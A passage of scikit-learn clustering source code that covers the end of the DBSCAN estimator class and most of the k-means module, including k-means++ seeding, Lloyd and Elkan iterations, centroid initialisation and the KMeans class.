        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------
    core_sample_indices_ : array, shape = [n_core_samples]
        Indices of core samples.

    components_ : array, shape = [n_core_samples, n_features]
        Copy of each core sample found by training.

    labels_ : array, shape = [n_samples]
        Cluster labels for each point in the dataset given to fit().
        Noisy samples are given the label -1.

    Notes
    -----
    See examples/cluster/plot_dbscan.py for an example.

    This implementation bulk-computes all neighborhood queries, which increases
    the memory complexity to O(n.d) where d is the average number of neighbors,
    while original DBSCAN had memory complexity O(n).

    Sparse neighborhoods can be precomputed using
    :func:`NearestNeighbors.radius_neighbors_graph
    <sklearn.neighbors.NearestNeighbors.radius_neighbors_graph>`
    with ``mode='distance'``.

    References
    ----------
    Ester, M., H. P. Kriegel, J. Sander, and X. Xu, "A Density-Based
    Algorithm for Discovering Clusters in Large Spatial Databases with Noise".
    In: Proceedings of the 2nd International Conference on Knowledge Discovery
    and Data Mining, Portland, OR, AAAI Press, pp. 226-231. 1996
    """

    def __init__(self, eps=0.5, min_samples=5, metric='euclidean',
                 algorithm='auto', leaf_size=30, p=None, n_jobs=1):
        self.eps = eps
        self.min_samples = min_samples
        self.metric = metric
        self.algorithm = algorithm
        self.leaf_size = leaf_size
        self.p = p
        self.n_jobs = n_jobs

    def fit(self, X, y=None, sample_weight=None):
        """Perform DBSCAN clustering from features or distance matrix.

        Parameters
        ----------
        X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
                array of shape (n_samples, n_samples)
            A feature array, or array of distances between samples if
            ``metric='precomputed'``.
        sample_weight : array, shape (n_samples,), optional
            Weight of each sample, such that a sample with a weight of at least
            ``min_samples`` is by itself a core sample; a sample with negative
            weight may inhibit its eps-neighbor from being core.
            Note that weights are absolute, and default to 1.
        """
        X = check_array(X, accept_sparse='csr')
        clust = dbscan(X, sample_weight=sample_weight,
                       **self.get_params())
        self.core_sample_indices_, self.labels_ = clust
        if len(self.core_sample_indices_):
            # fix for scipy sparse indexing issue
            self.components_ = X[self.core_sample_indices_].copy()
        else:
            # no core samples
            self.components_ = np.empty((0, X.shape[1]))
        return self

    def fit_predict(self, X, y=None, sample_weight=None):
        """Performs clustering on X and returns cluster labels.

        Parameters
        ----------
        X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
                array of shape (n_samples, n_samples)
            A feature array, or array of distances between samples if
            ``metric='precomputed'``.
        sample_weight : array, shape (n_samples,), optional
            Weight of each sample, such that a sample with a weight of at least
            ``min_samples`` is by itself a core sample; a sample with negative
            weight may inhibit its eps-neighbor from being core.
            Note that weights are absolute, and default to 1.

        Returns
        -------
        y : ndarray, shape (n_samples,)
            cluster labels
        """
        self.fit(X, sample_weight=sample_weight)
        return self.labels_






"""K-means clustering"""

# Authors: Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Thomas Rueckstiess <ruecksti@in.tum.de>
#          James Bergstra <james.bergstra@umontreal.ca>
#          Jan Schlueter <scikit-learn@jan-schlueter.de>
#          Nelle Varoquaux
#          Peter Prettenhofer <peter.prettenhofer@gmail.com>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Robert Layton <robertlayton@gmail.com>
# License: BSD 3 clause

import warnings

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator, ClusterMixin, TransformerMixin
from ..metrics.pairwise import euclidean_distances
from ..utils.extmath import row_norms, squared_norm
from ..utils.sparsefuncs_fast import assign_rows_csr
from ..utils.sparsefuncs import mean_variance_axis
from ..utils.fixes import astype
from ..utils import check_array
from ..utils import check_random_state
from ..utils import as_float_array
from ..utils import gen_batches
from ..utils.validation import check_is_fitted
from ..utils.validation import FLOAT_DTYPES
from ..utils.random import choice
from ..externals.joblib import Parallel
from ..externals.joblib import delayed
from ..externals.six import string_types

from . import _k_means
from ._k_means_elkan import k_means_elkan


###############################################################################
# Initialization heuristic


def _k_init(X, n_clusters, x_squared_norms, random_state, n_local_trials=None):
    """Init n_clusters seeds according to k-means++

    Parameters
    -----------
    X: array or sparse matrix, shape (n_samples, n_features)
        The data to pick seeds for. To avoid memory copy, the input data
        should be double precision (dtype=np.float64).

    n_clusters: integer
        The number of seeds to choose

    x_squared_norms: array, shape (n_samples,)
        Squared Euclidean norm of each data point.

    random_state: numpy.RandomState
        The generator used to initialize the centers.

    n_local_trials: integer, optional
        The number of seeding trials for each center (except the first),
        of which the one reducing inertia the most is greedily chosen.
        Set to None to make the number of trials depend logarithmically
        on the number of seeds (2+log(k)); this is the default.

    Notes
    -----
    Selects initial cluster centers for k-mean clustering in a smart way
    to speed up convergence. see: Arthur, D. and Vassilvitskii, S.
    "k-means++: the advantages of careful seeding". ACM-SIAM symposium
    on Discrete algorithms. 2007

    Version ported from http://www.stanford.edu/~darthur/kMeansppTest.zip,
    which is the implementation used in the aforementioned paper.
    """
    n_samples, n_features = X.shape

    centers = np.empty((n_clusters, n_features), dtype=X.dtype)

    assert x_squared_norms is not None, 'x_squared_norms None in _k_init'

    # Set the number of local seeding trials if none is given
    if n_local_trials is None:
        # This is what Arthur/Vassilvitskii tried, but did not report
        # specific results for other than mentioning in the conclusion
        # that it helped.
        n_local_trials = 2 + int(np.log(n_clusters))

    # Pick first center randomly
    center_id = random_state.randint(n_samples)
    if sp.issparse(X):
        centers[0] = X[center_id].toarray()
    else:
        centers[0] = X[center_id]

    # Initialize list of closest distances and calculate current potential
    closest_dist_sq = euclidean_distances(
        centers[0, np.newaxis], X, Y_norm_squared=x_squared_norms,
        squared=True)
    current_pot = closest_dist_sq.sum()

    # Pick the remaining n_clusters-1 points
    for c in range(1, n_clusters):
        # Choose center candidates by sampling with probability proportional
        # to the squared distance to the closest existing center
        rand_vals = random_state.random_sample(n_local_trials) * current_pot
        candidate_ids = np.searchsorted(closest_dist_sq.cumsum(), rand_vals)

        # Compute distances to center candidates
        distance_to_candidates = euclidean_distances(
            X[candidate_ids], X, Y_norm_squared=x_squared_norms, squared=True)

        # Decide which candidate is the best
        best_candidate = None
        best_pot = None
        best_dist_sq = None
        for trial in range(n_local_trials):
            # Compute potential when including center candidate
            new_dist_sq = np.minimum(closest_dist_sq,
                                     distance_to_candidates[trial])
            new_pot = new_dist_sq.sum()

            # Store result if it is the best local trial so far
            if (best_candidate is None) or (new_pot < best_pot):
                best_candidate = candidate_ids[trial]
                best_pot = new_pot
                best_dist_sq = new_dist_sq

        # Permanently add best center candidate found in local tries
        if sp.issparse(X):
            centers[c] = X[best_candidate].toarray()
        else:
            centers[c] = X[best_candidate]
        current_pot = best_pot
        closest_dist_sq = best_dist_sq

    return centers


###############################################################################
# K-means batch estimation by EM (expectation maximization)

def _validate_center_shape(X, n_centers, centers):
    """Check if centers is compatible with X and n_centers"""
    if len(centers) != n_centers:
        raise ValueError('The shape of the initial centers (%s) '
                         'does not match the number of clusters %i'
                         % (centers.shape, n_centers))
    if centers.shape[1] != X.shape[1]:
        raise ValueError(
            "The number of features of the initial centers %s "
            "does not match the number of features of the data %s."
            % (centers.shape[1], X.shape[1]))


def _tolerance(X, tol):
    """Return a tolerance which is independent of the dataset"""
    if sp.issparse(X):
        variances = mean_variance_axis(X, axis=0)[1]
    else:
        variances = np.var(X, axis=0)
    return np.mean(variances) * tol


def k_means(X, n_clusters, init='k-means++', precompute_distances='auto',
            n_init=10, max_iter=300, verbose=False,
            tol=1e-4, random_state=None, copy_x=True, n_jobs=1,
            algorithm="auto", return_n_iter=False):
    """K-means clustering algorithm.

    Read more in the :ref:`User Guide <k_means>`.

    Parameters
    ----------
    X : array-like or sparse matrix, shape (n_samples, n_features)
        The observations to cluster.

    n_clusters : int
        The number of clusters to form as well as the number of
        centroids to generate.

    max_iter : int, optional, default 300
        Maximum number of iterations of the k-means algorithm to run.

    n_init : int, optional, default: 10
        Number of time the k-means algorithm will be run with different
        centroid seeds. The final results will be the best output of
        n_init consecutive runs in terms of inertia.

    init : {'k-means++', 'random', or ndarray, or a callable}, optional
        Method for initialization, default to 'k-means++':

        'k-means++' : selects initial cluster centers for k-mean
        clustering in a smart way to speed up convergence. See section
        Notes in k_init for more details.

        'random': generate k centroids from a Gaussian with mean and
        variance estimated from the data.

        If an ndarray is passed, it should be of shape (n_clusters, n_features)
        and gives the initial centers.

        If a callable is passed, it should take arguments X, k and
        and a random state and return an initialization.

    algorithm : "auto", "full" or "elkan", default="auto"
        K-means algorithm to use. The classical EM-style algorithm is "full".
        The "elkan" variation is more efficient by using the triangle
        inequality, but currently doesn't support sparse data. "auto" chooses
        "elkan" for dense data and "full" for sparse data.

    precompute_distances : {'auto', True, False}
        Precompute distances (faster but takes more memory).

        'auto' : do not precompute distances if n_samples * n_clusters > 12
        million. This corresponds to about 100MB overhead per job using
        double precision.

        True : always precompute distances

        False : never precompute distances

    tol : float, optional
        The relative increment in the results before declaring convergence.

    verbose : boolean, optional
        Verbosity mode.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    copy_x : boolean, optional
        When pre-computing distances it is more numerically accurate to center
        the data first.  If copy_x is True, then the original data is not
        modified.  If False, the original data is modified, and put back before
        the function returns, but small numerical differences may be introduced
        by subtracting and then adding the data mean.

    n_jobs : int
        The number of jobs to use for the computation. This works by computing
        each of the n_init runs in parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    return_n_iter : bool, optional
        Whether or not to return the number of iterations.

    Returns
    -------
    centroid : float ndarray with shape (k, n_features)
        Centroids found at the last iteration of k-means.

    label : integer ndarray with shape (n_samples,)
        label[i] is the code or index of the centroid the
        i'th observation is closest to.

    inertia : float
        The final value of the inertia criterion (sum of squared distances to
        the closest centroid for all observations in the training set).

    best_n_iter: int
        Number of iterations corresponding to the best results.
        Returned only if `return_n_iter` is set to True.

    """
    if n_init <= 0:
        raise ValueError("Invalid number of initializations."
                         " n_init=%d must be bigger than zero." % n_init)
    random_state = check_random_state(random_state)

    if max_iter <= 0:
        raise ValueError('Number of iterations should be a positive number,'
                         ' got %d instead' % max_iter)

    best_inertia = np.infty
    X = as_float_array(X, copy=copy_x)
    tol = _tolerance(X, tol)

    # If the distances are precomputed every job will create a matrix of shape
    # (n_clusters, n_samples). To stop KMeans from eating up memory we only
    # activate this if the created matrix is guaranteed to be under 100MB. 12
    # million entries consume a little under 100MB if they are of type double.
    if precompute_distances == 'auto':
        n_samples = X.shape[0]
        precompute_distances = (n_clusters * n_samples) < 12e6
    elif isinstance(precompute_distances, bool):
        pass
    else:
        raise ValueError("precompute_distances should be 'auto' or True/False"
                         ", but a value of %r was passed" %
                         precompute_distances)

    # subtract of mean of x for more accurate distance computations
    if not sp.issparse(X) or hasattr(init, '__array__'):
        X_mean = X.mean(axis=0)
    if not sp.issparse(X):
        # The copy was already done above
        X -= X_mean

    if hasattr(init, '__array__'):
        init = check_array(init, dtype=X.dtype.type, copy=True)
        _validate_center_shape(X, n_clusters, init)

        init -= X_mean
        if n_init != 1:
            warnings.warn(
                'Explicit initial center position passed: '
                'performing only one init in k-means instead of n_init=%d'
                % n_init, RuntimeWarning, stacklevel=2)
            n_init = 1

    # precompute squared norms of data points
    x_squared_norms = row_norms(X, squared=True)

    best_labels, best_inertia, best_centers = None, None, None
    if n_clusters == 1:
        # elkan doesn't make sense for a single cluster, full will produce
        # the right result.
        algorithm = "full"
    if algorithm == "auto":
        algorithm = "full" if sp.issparse(X) else 'elkan'
    if algorithm == "full":
        kmeans_single = _kmeans_single_lloyd
    elif algorithm == "elkan":
        kmeans_single = _kmeans_single_elkan
    else:
        raise ValueError("Algorithm must be 'auto', 'full' or 'elkan', got"
                         " %s" % str(algorithm))
    if n_jobs == 1:
        # For a single thread, less memory is needed if we just store one set
        # of the best results (as opposed to one set per run per thread).
        for it in range(n_init):
            # run a k-means once
            labels, inertia, centers, n_iter_ = kmeans_single(
                X, n_clusters, max_iter=max_iter, init=init, verbose=verbose,
                precompute_distances=precompute_distances, tol=tol,
                x_squared_norms=x_squared_norms, random_state=random_state)
            # determine if these results are the best so far
            if best_inertia is None or inertia < best_inertia:
                best_labels = labels.copy()
                best_centers = centers.copy()
                best_inertia = inertia
                best_n_iter = n_iter_
    else:
        # parallelisation of k-means runs
        seeds = random_state.randint(np.iinfo(np.int32).max, size=n_init)
        results = Parallel(n_jobs=n_jobs, verbose=0)(
            delayed(kmeans_single)(X, n_clusters, max_iter=max_iter, init=init,
                                   verbose=verbose, tol=tol,
                                   precompute_distances=precompute_distances,
                                   x_squared_norms=x_squared_norms,
                                   # Change seed to ensure variety
                                   random_state=seed)
            for seed in seeds)
        # Get results with the lowest inertia
        labels, inertia, centers, n_iters = zip(*results)
        best = np.argmin(inertia)
        best_labels = labels[best]
        best_inertia = inertia[best]
        best_centers = centers[best]
        best_n_iter = n_iters[best]

    if not sp.issparse(X):
        if not copy_x:
            X += X_mean
        best_centers += X_mean

    if return_n_iter:
        return best_centers, best_labels, best_inertia, best_n_iter
    else:
        return best_centers, best_labels, best_inertia


def _kmeans_single_elkan(X, n_clusters, max_iter=300, init='k-means++',
                         verbose=False, x_squared_norms=None,
                         random_state=None, tol=1e-4,
                         precompute_distances=True):
    if sp.issparse(X):
        raise ValueError("algorithm='elkan' not supported for sparse input X")
    X = check_array(X, order="C")
    random_state = check_random_state(random_state)
    if x_squared_norms is None:
        x_squared_norms = row_norms(X, squared=True)
    # init
    centers = _init_centroids(X, n_clusters, init, random_state=random_state,
                              x_squared_norms=x_squared_norms)
    centers = np.ascontiguousarray(centers)
    if verbose:
        print('Initialization complete')
    centers, labels, n_iter = k_means_elkan(X, n_clusters, centers, tol=tol,
                                            max_iter=max_iter, verbose=verbose)
    inertia = np.sum((X - centers[labels]) ** 2, dtype=np.float64)
    return labels, inertia, centers, n_iter


def _kmeans_single_lloyd(X, n_clusters, max_iter=300, init='k-means++',
                         verbose=False, x_squared_norms=None,
                         random_state=None, tol=1e-4,
                         precompute_distances=True):
    """A single run of k-means, assumes preparation completed prior.

    Parameters
    ----------
    X: array-like of floats, shape (n_samples, n_features)
        The observations to cluster.

    n_clusters: int
        The number of clusters to form as well as the number of
        centroids to generate.

    max_iter: int, optional, default 300
        Maximum number of iterations of the k-means algorithm to run.

    init: {'k-means++', 'random', or ndarray, or a callable}, optional
        Method for initialization, default to 'k-means++':

        'k-means++' : selects initial cluster centers for k-mean
        clustering in a smart way to speed up convergence. See section
        Notes in k_init for more details.

        'random': generate k centroids from a Gaussian with mean and
        variance estimated from the data.

        If an ndarray is passed, it should be of shape (k, p) and gives
        the initial centers.

        If a callable is passed, it should take arguments X, k and
        and a random state and return an initialization.

    tol: float, optional
        The relative increment in the results before declaring convergence.

    verbose: boolean, optional
        Verbosity mode

    x_squared_norms: array
        Precomputed x_squared_norms.

    precompute_distances : boolean, default: True
        Precompute distances (faster but takes more memory).

    random_state: integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    Returns
    -------
    centroid: float ndarray with shape (k, n_features)
        Centroids found at the last iteration of k-means.

    label: integer ndarray with shape (n_samples,)
        label[i] is the code or index of the centroid the
        i'th observation is closest to.

    inertia: float
        The final value of the inertia criterion (sum of squared distances to
        the closest centroid for all observations in the training set).

    n_iter : int
        Number of iterations run.
    """
    random_state = check_random_state(random_state)

    best_labels, best_inertia, best_centers = None, None, None
    # init
    centers = _init_centroids(X, n_clusters, init, random_state=random_state,
                              x_squared_norms=x_squared_norms)
    if verbose:
        print("Initialization complete")

    # Allocate memory to store the distances for each sample to its
    # closer center for reallocation in case of ties
    distances = np.zeros(shape=(X.shape[0],), dtype=X.dtype)

    # iterations
    for i in range(max_iter):
        centers_old = centers.copy()
        # labels assignment is also called the E-step of EM
        labels, inertia = \
            _labels_inertia(X, x_squared_norms, centers,
                            precompute_distances=precompute_distances,
                            distances=distances)

        # computation of the means is also called the M-step of EM
        if sp.issparse(X):
            centers = _k_means._centers_sparse(X, labels, n_clusters,
                                               distances)
        else:
            centers = _k_means._centers_dense(X, labels, n_clusters, distances)

        if verbose:
            print("Iteration %2d, inertia %.3f" % (i, inertia))

        if best_inertia is None or inertia < best_inertia:
            best_labels = labels.copy()
            best_centers = centers.copy()
            best_inertia = inertia

        center_shift_total = squared_norm(centers_old - centers)
        if center_shift_total <= tol:
            if verbose:
                print("Converged at iteration %d: "
                      "center shift %e within tolerance %e"
                      % (i, center_shift_total, tol))
            break

    if center_shift_total > 0:
        # rerun E-step in case of non-convergence so that predicted labels
        # match cluster centers
        best_labels, best_inertia = \
            _labels_inertia(X, x_squared_norms, best_centers,
                            precompute_distances=precompute_distances,
                            distances=distances)

    return best_labels, best_inertia, best_centers, i + 1


def _labels_inertia_precompute_dense(X, x_squared_norms, centers, distances):
    """Compute labels and inertia using a full distance matrix.

    This will overwrite the 'distances' array in-place.

    Parameters
    ----------
    X : numpy array, shape (n_sample, n_features)
        Input data.

    x_squared_norms : numpy array, shape (n_samples,)
        Precomputed squared norms of X.

    centers : numpy array, shape (n_clusters, n_features)
        Cluster centers which data is assigned to.

    distances : numpy array, shape (n_samples,)
        Pre-allocated array in which distances are stored.

    Returns
    -------
    labels : numpy array, dtype=np.int, shape (n_samples,)
        Indices of clusters that samples are assigned to.

    inertia : float
        Sum of distances of samples to their closest cluster center.

    """
    n_samples = X.shape[0]
    k = centers.shape[0]
    all_distances = euclidean_distances(centers, X, x_squared_norms,
                                        squared=True)
    labels = np.empty(n_samples, dtype=np.int32)
    labels.fill(-1)
    mindist = np.empty(n_samples)
    mindist.fill(np.infty)
    for center_id in range(k):
        dist = all_distances[center_id]
        labels[dist < mindist] = center_id
        mindist = np.minimum(dist, mindist)
    if n_samples == distances.shape[0]:
        # distances will be changed in-place
        distances[:] = mindist
    inertia = mindist.sum()
    return labels, inertia


def _labels_inertia(X, x_squared_norms, centers,
                    precompute_distances=True, distances=None):
    """E step of the K-means EM algorithm.

    Compute the labels and the inertia of the given samples and centers.
    This will compute the distances in-place.

    Parameters
    ----------
    X: float64 array-like or CSR sparse matrix, shape (n_samples, n_features)
        The input samples to assign to the labels.

    x_squared_norms: array, shape (n_samples,)
        Precomputed squared euclidean norm of each data point, to speed up
        computations.

    centers: float array, shape (k, n_features)
        The cluster centers.

    precompute_distances : boolean, default: True
        Precompute distances (faster but takes more memory).

    distances: float array, shape (n_samples,)
        Pre-allocated array to be filled in with each sample's distance
        to the closest center.

    Returns
    -------
    labels: int array of shape(n)
        The resulting assignment

    inertia : float
        Sum of distances of samples to their closest cluster center.
    """
    n_samples = X.shape[0]
    # set the default value of centers to -1 to be able to detect any anomaly
    # easily
    labels = -np.ones(n_samples, np.int32)
    if distances is None:
        distances = np.zeros(shape=(0,), dtype=X.dtype)
    # distances will be changed in-place
    if sp.issparse(X):
        inertia = _k_means._assign_labels_csr(
            X, x_squared_norms, centers, labels, distances=distances)
    else:
        if precompute_distances:
            return _labels_inertia_precompute_dense(X, x_squared_norms,
                                                    centers, distances)
        inertia = _k_means._assign_labels_array(
            X, x_squared_norms, centers, labels, distances=distances)
    return labels, inertia


def _init_centroids(X, k, init, random_state=None, x_squared_norms=None,
                    init_size=None):
    """Compute the initial centroids

    Parameters
    ----------

    X: array, shape (n_samples, n_features)

    k: int
        number of centroids

    init: {'k-means++', 'random' or ndarray or callable} optional
        Method for initialization

    random_state: integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    x_squared_norms:  array, shape (n_samples,), optional
        Squared euclidean norm of each data point. Pass it if you have it at
        hands already to avoid it being recomputed here. Default: None

    init_size : int, optional
        Number of samples to randomly sample for speeding up the
        initialization (sometimes at the expense of accuracy): the
        only algorithm is initialized by running a batch KMeans on a
        random subset of the data. This needs to be larger than k.

    Returns
    -------
    centers: array, shape(k, n_features)
    """
    random_state = check_random_state(random_state)
    n_samples = X.shape[0]

    if x_squared_norms is None:
        x_squared_norms = row_norms(X, squared=True)

    if init_size is not None and init_size < n_samples:
        if init_size < k:
            warnings.warn(
                "init_size=%d should be larger than k=%d. "
                "Setting it to 3*k" % (init_size, k),
                RuntimeWarning, stacklevel=2)
            init_size = 3 * k
        init_indices = random_state.randint(0, n_samples, init_size)
        X = X[init_indices]
        x_squared_norms = x_squared_norms[init_indices]
        n_samples = X.shape[0]
    elif n_samples < k:
        raise ValueError(
            "n_samples=%d should be larger than k=%d" % (n_samples, k))

    if isinstance(init, string_types) and init == 'k-means++':
        centers = _k_init(X, k, random_state=random_state,
                          x_squared_norms=x_squared_norms)
    elif isinstance(init, string_types) and init == 'random':
        seeds = random_state.permutation(n_samples)[:k]
        centers = X[seeds]
    elif hasattr(init, '__array__'):
        # ensure that the centers have the same dtype as X
        # this is a requirement of fused types of cython
        centers = np.array(init, dtype=X.dtype)
    elif callable(init):
        centers = init(X, k, random_state=random_state)
        centers = np.asarray(centers, dtype=X.dtype)
    else:
        raise ValueError("the init parameter for the k-means should "
                         "be 'k-means++' or 'random' or an ndarray, "
                         "'%s' (type '%s') was passed." % (init, type(init)))

    if sp.issparse(centers):
        centers = centers.toarray()

    _validate_center_shape(X, k, centers)
    return centers


class KMeans(BaseEstimator, ClusterMixin, TransformerMixin):
    """K-Means clustering

    Read more in the :ref:`User Guide <k_means>`.

    Parameters
    ----------

    n_clusters : int, optional, default: 8
        The number of clusters to form as well as the number of
        centroids to generate.

    max_iter : int, default: 300
        Maximum number of iterations of the k-means algorithm for a
        single run.

    n_init : int, default: 10
        Number of time the k-means algorithm will be run with different
        centroid seeds. The final results will be the best output of
        n_init consecutive runs in terms of inertia.

    init : {'k-means++', 'random' or an ndarray}
        Method for initialization, defaults to 'k-means++':

        'k-means++' : selects initial cluster centers for k-mean
        clustering in a smart way to speed up convergence. See section
        Notes in k_init for more details.

        'random': choose k observations (rows) at random from data for
        the initial centroids.

        If an ndarray is passed, it should be of shape (n_clusters, n_features)
        and gives the initial centers.

    algorithm : "auto", "full" or "elkan", default="auto"
        K-means algorithm to use. The classical EM-style algorithm is "full".
        The "elkan" variation is more efficient by using the triangle
        inequality, but currently doesn't support sparse data. "auto" chooses
        "elkan" for dense data and "full" for sparse data.

    precompute_distances : {'auto', True, False}
        Precompute distances (faster but takes more memory).

        'auto' : do not precompute distances if n_samples * n_clusters > 12
        million. This corresponds to about 100MB overhead per job using
        double precision.

        True : always precompute distances

        False : never precompute distances

    tol : float, default: 1e-4
        Relative tolerance with regards to inertia to declare convergence

    n_jobs : int
        The number of jobs to use for the computation. This works by computing
        each of the n_init runs in parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    verbose : int, default 0
        Verbosity mode.

    copy_x : boolean, default True
        When pre-computing distances it is more numerically accurate to center
        the data first.  If copy_x is True, then the original data is not
        modified.  If False, the original data is modified, and put back before
        the function returns, but small numerical differences may be introduced
        by subtracting and then adding the data mean.

    Attributes
    ----------
    cluster_centers_ : array, [n_clusters, n_features]
        Coordinates of cluster centers

    labels_ :
        Labels of each point

    inertia_ : float
        Sum of distances of samples to their closest cluster center.

    See also
    --------

    MiniBatchKMeans
        Alternative online implementation that does incremental updates
        of the centers positions using mini-batches.
        For large scale learning (say n_samples > 10k) MiniBatchKMeans is
        probably much faster than the default batch implementation.

    Notes
    ------
    The k-means problem is solved using Lloyd's algorithm.

    The average complexity is given by O(k n T), were n is the number of
    samples and T is the number of iteration.

    The worst case complexity is given by O(n^(k+2/p)) with
    n = n_samples, p = n_features. (D. Arthur and S. Vassilvitskii,
    'How slow is the k-means method?' SoCG2006)

    In practice, the k-means algorithm is very fast (one of the fastest
    clustering algorithms available), but it falls in local minima. That's why
    it can be useful to restart it several times.

    """

    def __init__(self, n_clusters=8, init='k-means++', n_init=10,
                 max_iter=300, tol=1e-4, precompute_distances='auto',
                 verbose=0, random_state=None, copy_x=True,
                 n_jobs=1, algorithm='auto'):

        self.n_clusters = n_clusters
        self.init = init
        self.max_iter = max_iter
        self.tol = tol
        self.precompute_distances = precompute_distances
        self.n_init = n_init
        self.verbose = verbose
        self.random_state = random_state
        self.copy_x = copy_x
        self.n_jobs = n_jobs
        self.algorithm = algorithm

    def _check_fit_data(self, X):
        """Verify that the number of samples given is larger than k"""
        X = check_array(X, accept_sparse='csr', dtype=[np.float64, np.float32])
        if X.shape[0] < self.n_clusters:
            raise ValueError("n_samples=%d should be >= n_clusters=%d" % (
                X.shape[0], self.n_clusters))
        return X

    def _check_test_data(self, X):
        X = check_array(X, accept_sparse='csr', dtype=FLOAT_DTYPES,
                        warn_on_dtype=True)
        n_samples, n_features = X.shape
        expected_n_features = self.cluster_centers_.shape[1]
        if not n_features == expected_n_features:
            raise ValueError("Incorrect number of features. "
                             "Got %d features, expected %d" % (
                                 n_features, expected_n_features))

        return X

    def fit(self, X, y=None):
        """Compute k-means clustering.

        Parameters
        ----------
        X : array-like or sparse matrix, shape=(n_samples, n_features)
        """
        random_state = check_random_state(self.random_state)
        X = self._check_fit_data(X)

        self.cluster_centers_, self.labels_, self.inertia_, self.n_iter_ = \
            k_means(
                X, n_clusters=self.n_clusters, init=self.init,
                n_init=self.n_init, max_iter=self.max_iter, verbose=self.verbose,
                precompute_distances=self.precompute_distances,
                tol=self.tol, random_state=random_state, copy_x=self.copy_x,
                n_jobs=self.n_jobs, algorithm=self.algorithm,
                return_n_iter=True)
        return self

    def fit_predict(self, X, y=None):
        """Compute cluster centers and predict cluster index for each sample.

        Convenience method; equivalent to calling fit(X) followed by
        predict(X).
        """
        return self.fit(X).labels_

    def fit_transform(self, X, y=None):
        """Compute clustering and transform X to cluster-distance space.

        Equivalent to fit(X).transform(X), but more efficiently implemented.
        """
        # Currently, this just skips a copy of the data if it is not in
        # np.array or CSR format already.
        # XXX This skips _check_test_data, which may change the dtype;
        # we should refactor the input validation.
        X = self._check_fit_data(X)
        return self.fit(X)._transform(X)

    def transform(self, X, y=None):
        """Transform X to a cluster-distance space.

        In the new space, each dimension is the distance to the cluster
        centers.  Note that even if X is sparse, the array returned by
        `transform` will typically be dense.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            New data to transform.

        Returns
        -------
        X_new : array, shape [n_samples, k]
            X transformed in the new space.
        """
        check_is_fitted(self, 'cluster_centers_')

        X = self._check_test_data(X)
        return self._transform(X)

    def _transform(self, X):
        """guts of transform method; no input validation"""
        return euclidean_distances(X, self.cluster_centers_)

    def predict(self, X):
        """Predict the closest cluster each sample in X belongs to.

        In the vector quantization literature, `cluster_centers_` is called
        the code book and each value returned by `predict` is the index of
        the closest code in the code book.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            New data to predict.

        Returns
        -------
        labels : array, shape [n_samples,]
            Index of the cluster each sample belongs to.
        """
        check_is_fitted(self, 'cluster_centers_')

        X = self._check_test_data(X)
        x_squared_norms = row_norms(X, squared=True)
        return _labels_inertia(X, x_squared_norms, self.cluster_centers_)[0]

    def score(self, X, y=None):
        """Opposite of the value of X on the K-means objective.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            New data.

        Returns
        -------
        score : float
            Opposite of the value of X on the K-means objective.
        """
        check_is_fitted(self, 'cluster_centers_')

        X = self._check_test_data(X)
        x_squared_norms = row_norms(X, squared=True)
        return -_labels_inertia(X, x_squared_norms, self.cluster_centers_)[1]


def _mini_batch_step(X, x_squared_norms, centers, counts,
                     old_center_buffer, compute_squared_diff,
                     distances, random_reassign=False,
                     random_state=None, reassignment_ratio=.01,
                     verbose=False):
    """Incremental update of the centers for the Minibatch K-Means algorithm.

    Parameters
    ----------

    X : array, shape (n_samples, n_features)
        The original data array.

    x_squared_norms : array, shape (n_samples,)
        Squared euclidean norm of each data point.

    centers : array, shape (k, n_features)
        The cluster centers. This array is MODIFIED IN PLACE

    counts : array, shape (k,)
         The vector in which we keep track of the numbers of elements in a
         cluster. This array is MODIFIED IN PLACE

    distances : array, dtype float, shape (n_samples), optional
        If not None, should be a pre-allocated array that will be used to store
        the distances of each sample to its closest center.
        May not be None when random_reassign is True.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    random_reassign : boolean, optional
        If True, centers with very low counts are randomly reassigned
        to observations.

    reassignment_ratio : float, optional
        Control the fraction of the maximum number of counts for a
        center to be reassigned. A higher value means that low count
        centers are more likely to be reassigned, which means that the
        model will take longer to converge, but should converge in a
        better clustering.

    verbose : bool, optional, default False
        Controls the verbosity.

    compute_squared_diff : bool
        If set to False, the squared diff computation is skipped.

    old_center_buffer : int
        Copy of old centers for monitoring convergence.

    Returns
    -------
    inertia : float
        Sum of distances of samples to their closest cluster center.

    squared_diff : numpy array, shape (n_clusters,)
        Squared distances between previous and updated cluster centers.

    """
    # Perform label assignment to nearest centers
    nearest_center, inertia = _labels_inertia(X, x_squared_norms, centers,
                                              distances=distances)

    if random_reassign and reassignment_ratio > 0:
        random_state = check_random_state(random_state)
        # Reassign clusters that have very low counts
        to_reassign = counts < reassignment_ratio * counts.max()
        # pick at most .5 * batch_size samples as new centers
        if to_reassign.sum() > .5 * X.shape[0]:
            indices_dont_reassign = np.argsort(counts)[int(.5 * X.shape[0]):]
            to_reassign[indices_dont_reassign] = False
        n_reassigns = to_reassign.sum()
